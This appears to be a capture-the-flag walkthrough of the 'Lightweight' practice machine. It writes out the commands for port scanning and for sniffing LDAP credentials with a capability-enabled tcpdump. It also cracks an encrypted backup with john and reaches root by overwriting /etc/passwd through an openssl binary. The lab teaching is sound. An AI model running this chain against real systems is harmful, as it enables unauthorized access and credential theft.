Lightweight
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.119 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,389 10.10.10.119 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
If we take a look at the website, we'll see a message saying that the site is protected by against bruteforcing.
The Info page says that the server is protected against bruteforcing, and there is a list of banned IPs in status.php
.
The list of banned IPs doesn't show any banned IP.
Finally, the user.php
page indicates that we can log in to the machine via SSH, with out IP address as the username and password. We can reset our account in the reset.php
page.
Let's log in into the machine.
sshpass -p '10.10.14.3' ssh 10.10.14.3@10.10.10.119
As we can see, there are two users called ldapuser1
and ldapuser2
.
grep sh /etc/passwd
I suppose we have to do pivot to those users to get the flag. If we check for system capabilities, we'll see that the tcpdump binary have some capabilities which allow us to run the binary without root permissions.
getcap -r / 2>/dev/null
Indeed, we can run tcpdump.
tcpdump -i any
As we could see in the user.php
page, there is some kind of traffic going on in the machine which adds and deletes system users. We could run tcpdump and intercept all that traffic. I will run the binary with SSH, view the traffic with WireShark in my local machine.
sshpass -p '10.10.14.3' ssh 10.10.14.3@10.10.10.119 "/usr/sbin/tcpdump -i any -w - 'not port 22'" | wireshark -k -i -
Now, we will have to navigate through the website in order to make some traffic, and activate some cron jobs that might be happening on the background. We should be able to intercept an LDAP packet with credentials for the ldapuser2
user.
Let's copy the password and become the ldapuser2
user. Then, we'll be able to grab the user flag.
su ldapuser2
In his home directory there is one interesting file called backup.7z
.
ls /home/ldapuser2
Let's transfer it to our local machine by encoding it in base64.
base64 -w 0 backup.7z
Now, decoded in our local machine.
echo "N3q8...EwAA" | base64 -d > backup.7z
If we try to decompress the file, we'll see that it is encrypted with a password.
7z x backup.7z
Let's try to break the password with john. First, user the 7z2john tool to get the file hash.
7z2john backup.7z > hash
Now, break the hash with john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Now that we have the password, let's decompress the backup.7z
file.
7z x backup.7z
There are six files in the compressed file, which seems to be the PHP files that compose the website.
ls -l
If we take a look at the status.php
file, we'll find credentials for the ldapuser1
user.
cat status.php
Let's become the ldapuser1
user.
su ldapuser1
In his home directory, there is a binary for openssl.
ls /home/ldapuser1
As we can see, the openssl binary has the ep capability which means that we can run it with certain privileges.
getcap -r .
There is a way to write in files with the openssl binary. We will create our own passwd
file, and replace it with the current /etc/passwd
file, so we can change the root password. First, make a copy of /etc/passwd
.
cp /etc/passwd .
Now, create a new password hash for the password123
string.
./openssl passwd -1 password123
Copy the password hash, and replace it with the x
in root line of the passwd
copy.
cat passwd
Finally, replace the passwd
file with the /etc/passwd
file using the openssl binary in the home directory.
cat passwd | ./openssl enc -out /etc/passwd
Then, all we have to do is, become the root user with the password we chose, reap the harvest and take the root flag.
su root